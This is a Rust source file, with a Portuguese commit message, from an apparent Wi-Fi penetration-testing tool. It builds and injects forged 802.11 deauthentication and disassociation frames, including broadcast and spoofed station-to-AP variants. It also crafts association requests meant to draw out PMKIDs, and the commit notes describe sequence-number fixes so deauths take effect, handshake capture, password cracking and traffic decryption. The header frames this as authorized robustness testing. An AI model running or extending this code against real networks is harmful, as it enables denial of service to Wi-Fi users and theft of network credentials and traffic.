Files
sabia/crates/sabia-core/src/inject.rs
T
Lucas Rayan 5477b8fb03 fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são
  big-endian (802.1X segue ordem de rede), então handshakes reais nunca
  fechavam mesmo com deauth funcionando. testutil.rs e os geradores de
  quadro de teste corrigidos junto, mais um teste contra bytes de wire
  reais (não só contra o próprio encoder).
- inject.rs: deauth/disassoc agora grava Sequence Control crescente por
  quadro — reenviar o mesmo quadro era descartado como duplicata pelo
  driver/AP depois do primeiro envio.
- dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF
  obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda,
  padrão PHY, privacidade) e histórico de sinal/eventos por cliente.
- handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é
  quebrada, o suficiente pra decifrar o tráfego em claro do par
  (BSSID, estação) cujo handshake foi capturado.
2026-10-24 14:53:32 -03:00

306 lines
9.8 KiB
Rust
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//! Construção e envio de quadros de gerenciamento (desautenticação e
//! desassociação) para testes autorizados de robustez de redes Wi-Fi.
//!
//! A construção do quadro é independente de plataforma e testável; o envio
//! usa `AF_PACKET` e só existe no Linux. O chamador (engine) impõe limites de
//! quantidade e intervalo e registra a ação na trilha de auditoria.
#[cfg(target_os = "linux")]
use crate::error::{Result, SabiaError};
pub const BROADCAST: [u8; 6] = [0xff; 6];
/// Cabeçalho radiotap mínimo (8 bytes, sem campos). É aceito por mac80211 e
/// deixa o driver escolher a taxa; suficiente para quadros de gerenciamento.
fn radiotap_min() -> [u8; 8] {
[0, 0, 8, 0, 0, 0, 0, 0]
}
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
}
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
/// usado no teste bidirecional de PMF.
fn mgmt_frame_from(
subtype: u8,
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
let fc: u16 = (subtype as u16) << 4;
let mut f = Vec::with_capacity(8 + 24 + 2);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&transmitter); // addr2: transmissor
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&reason.to_le_bytes());
f
}
/// Quadro de desautenticação (subtipo 12). `destination` pode ser uma
/// estação específica ou [`BROADCAST`].
pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(12, bssid, destination, reason)
}
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
pub fn deauth_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(12, transmitter, bssid, destination, reason)
}
/// Desassociação forjada com transmissor arbitrário (STA→AP).
pub fn disassoc_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(10, transmitter, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
const SEQ_CTRL_OFFSET: usize = 30;
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
pub fn set_seq(frame: &mut [u8], seq: u16) {
if frame.len() < SEQ_CTRL_OFFSET + 2 {
return;
}
let field = (seq & 0x0fff) << 4;
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
}
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
let mut out = Vec::with_capacity(2 + value.len());
out.push(tag);
out.push(value.len() as u8);
out.extend_from_slice(value);
out
}
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
/// request no teste de PMKID.
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
let mut f = Vec::with_capacity(8 + 24 + 6);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x00b0u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
f.extend_from_slice(&0u16.to_le_bytes()); // status
f
}
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
let mut val = Vec::new();
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
for akm in akms {
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
}
let mut caps = 0u16;
if pmf {
caps |= 0x0080;
}
if pmf_required {
caps |= 0x0040;
}
val.extend_from_slice(&caps.to_le_bytes());
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
val.extend_from_slice(pmkid);
ie(48, &val)
}
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
pub fn assoc_request_frame(
bssid: [u8; 6],
station: [u8; 6],
ssid: &str,
akms: &[u8],
pmf: bool,
pmf_required: bool,
pmkid: [u8; 16],
) -> Vec<u8> {
let mut body = Vec::new();
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
body.extend_from_slice(&ie(0, ssid.as_bytes()));
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
if !akms.is_empty() {
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
}
let mut f = Vec::with_capacity(8 + 24 + body.len());
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x0000u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&body);
f
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Reason {
Unspecified = 1,
PreviousAuthInvalid = 2,
DeauthLeaving = 3,
Inactivity = 4,
Class2FrameFromNonAuth = 7,
}
impl Reason {
pub fn from_u16(value: u16) -> u16 {
if value == 0 {
1
} else {
value
}
}
}
#[cfg(target_os = "linux")]
pub struct RawInjector {
fd: std::os::fd::RawFd,
}
#[cfg(target_os = "linux")]
impl RawInjector {
pub fn open(iface: &str) -> Result<Self> {
use std::ffi::CString;
use std::io;
use std::mem;
let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, 0x0003) };
if fd < 0 {
let err = io::Error::last_os_error();
return Err(if err.raw_os_error() == Some(libc::EPERM) {
SabiaError::PermissionDenied
} else {
SabiaError::Io(err)
});
}
let cname =
CString::new(iface).map_err(|_| SabiaError::InterfaceNotFound(iface.to_string()))?;
let ifindex = unsafe { libc::if_nametoindex(cname.as_ptr()) };
if ifindex == 0 {
unsafe { libc::close(fd) };
return Err(SabiaError::InterfaceNotFound(iface.to_string()));
}
let mut sll: libc::sockaddr_ll = unsafe { mem::zeroed() };
sll.sll_family = libc::AF_PACKET as u16;
sll.sll_protocol = 0x0003u16.to_be();
sll.sll_ifindex = ifindex as i32;
let ret = unsafe {
libc::bind(
fd,
&sll as *const libc::sockaddr_ll as *const libc::sockaddr,
mem::size_of::<libc::sockaddr_ll>() as u32,
)
};
if ret < 0 {
let err = io::Error::last_os_error();
unsafe { libc::close(fd) };
return Err(SabiaError::Io(err));
}
Ok(Self { fd })
}
pub fn send(&self, frame: &[u8]) -> Result<usize> {
let n = unsafe {
libc::send(
self.fd,
frame.as_ptr() as *const libc::c_void,
frame.len(),
0,
)
};
if n < 0 {
return Err(SabiaError::Io(std::io::Error::last_os_error()));
}
Ok(n as usize)
}
}
#[cfg(target_os = "linux")]
impl Drop for RawInjector {
fn drop(&mut self) {
unsafe { libc::close(self.fd) };
}
}
#[cfg(test)]
mod tests {
use super::*;
fn bssid() -> [u8; 6] {
[0x00, 0x11, 0x22, 0x33, 0x44, 0x55]
}
fn station() -> [u8; 6] {
[0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb]
}
#[test]
fn builds_deauth_frame() {
let f = deauth_frame(bssid(), station(), 7);
assert_eq!(&f[0..4], &[0, 0, 8, 0]);
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00c0);
assert_eq!(&f[12..18], &station());
assert_eq!(&f[18..24], &bssid());
assert_eq!(&f[24..30], &bssid());
assert_eq!(u16::from_le_bytes([f[32], f[33]]), 7);
}
#[test]
fn builds_disassoc_broadcast_frame() {
let f = disassoc_frame(bssid(), BROADCAST, 1);
assert_eq!(u16::from_le_bytes([f[8], f[9]]), 0x00a0);
assert_eq!(&f[12..18], &BROADCAST);
assert_eq!(f.len(), 8 + 24 + 2);
}
#[test]
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
let mut f = deauth_frame(bssid(), station(), 7);
set_seq(&mut f, 1);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 1 << 4);
set_seq(&mut f, 0x0fff);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 0x0fff << 4);
}
}